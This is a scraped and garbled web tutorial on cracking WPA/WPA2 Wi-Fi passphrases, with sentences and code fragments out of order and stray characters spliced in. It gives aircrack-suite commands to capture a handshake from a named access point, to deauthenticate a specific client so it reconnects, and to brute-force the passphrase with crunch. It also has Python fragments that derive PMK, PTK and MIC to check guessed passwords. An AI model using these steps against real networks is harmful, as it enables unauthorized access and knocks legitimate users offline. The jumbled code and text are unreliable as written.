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Snonce = binascii.a2b_hex(raw_input("SNonce: "))ĮapolFrame = binascii.a2b_hex(raw_input("EAPol Frame: ")) S_mac = binascii.a2b_hex(raw_input("Client MAC: "))Īnonce = binascii.a2b_hex(raw_input("ANonce: ")) Return (in_1, in_2) # equal (shouldn't happen)Īp_mac = binascii.a2b_hex(raw_input("AP MAC: ")) #Crack wifi wpa2 passwordThe simple script below enables you to manually calculate appropriate fields and check if certain password is the one we’re looking for: import hmac,hashlib,binascii,sha This newly computed MIC is than compared to the captured MIC to determine the validity of assumed PSK. With the 2nd EAPol package of the handshake geting captured, there’s enough information to try and compute PTK (using assumed PSK passphrase), which can then be used to extract KCK and compute MIC (HMAC_MD5). Note: WPA uses md5 to compute the MIC while WPA2 uses sha1 If you need additional stats, check Password Cracking and Login Brute-force Capturing WPA/WPA2 Handshake: Cracking Principles īased on the 4-way-handshake diagram we’ve previously showed, we can see exact EAPol packets involved in 4-way-hanshake we captures (WireShark SS, *.cap): ![]() We’re not going to go into cracking this using tools, but we’re going to cover the principles on which those tools are based. On the other hand GUI oclHashCat is far better with 360k keys/sec (2 RX 580 Cards). $ crunch 8 8 abcdefghijklmnopqrstuvwxyz | aircrack-ng -b 40:16:7E:DC:1A:8C -w - cyberpunk_rs-02.cap With that speed, we would break it in ~240 days (max). On our machine, crunch + aircrack has performance of 10k keys/sec. In this example, we know the password (“theonecp”), it has 8 lowercase chars (WPA Minimum), so that’s 26^8 = 208.827.064.576 possible combinations. Previously started airodump-ng will capture it.Ĭaptured: [ WPA handshake: 40:16:7E:DC:1A:8C Devices are usually configured to re-connect automatically, again going through 4-way-handshake. STMAC: ĭeauthentcation frame, sent from router to a device, terminates client’s connection. To speed things up we’re going to deauthanticate the wireless client on that BSSID by sending DeAuth package: $ aireplay-ng -0 1 -a 40:16:7E:DC:1A:8C -c D8:9E:3F:3D:3F:69 wlan0mon 20:14:23 Waiting for beacon frame (BSSID: 40:16:7E:DC:1A:8C) on channel 6Ģ0:14:24 Sending 64 directed DeAuth. We want to read channel 6 (CyberPunk Channel), BSSID (40:16:7E:DC:1A:8C) and write all that into a file: $ airodump-ng -c 6 -bssid 40:16:7E:DC:1A:8C -w CP wlan0mon Here in this example, we’re going to be a more specific, we have a target in mind (CyberPunk Net with AP on 40:16:7E:DC:1A:8C). When it does occur, in the top right corner you’ll see something like: CH 9 ][ WPA handshake: XX:XX:XX:XX:XX:XX With this, we’re waiting for any WPA handshake to happen. Maybe an overkill for the sake of the example, but we’re going to use couple of Devices:ĭumping everything you capture to a FILE ( *.cap): $ airodump-ng -w mon0 Capturing WPA/WPA2 Handshake with Aircrack-ng #Crack wifi wpa2 codeBelow you’ll find a complete python code you can use to experiment. #Crack wifi wpa2 crackWith that, we have everything we need to calculate MIC, which you can further use to validate your attempts to crack password. #kck = hmac.new(pmk, message, hashlib.sha1).digest() #ptk = hmac.new(pmk, message, hashlib.sha1).digest() Key_data = min(ap_mac,s_mac) + max(ap_mac,s_mac) + min(anonce,snonce) + max(anonce,snonce) Sample python code for generating the keys: pmk = hashlib.pbkdf2_hmac('sha1', passphrase, SSID.encode(), 4096, 32) ![]() PTK can be generated with a function (customPRF512) or simply by calling hmac lib. 64 bits- MIC Authenticator Rx Key (MIC Rx) – Only used with TKIP configurations for unicast packets sent by clients. #Crack wifi wpa2 64 bits
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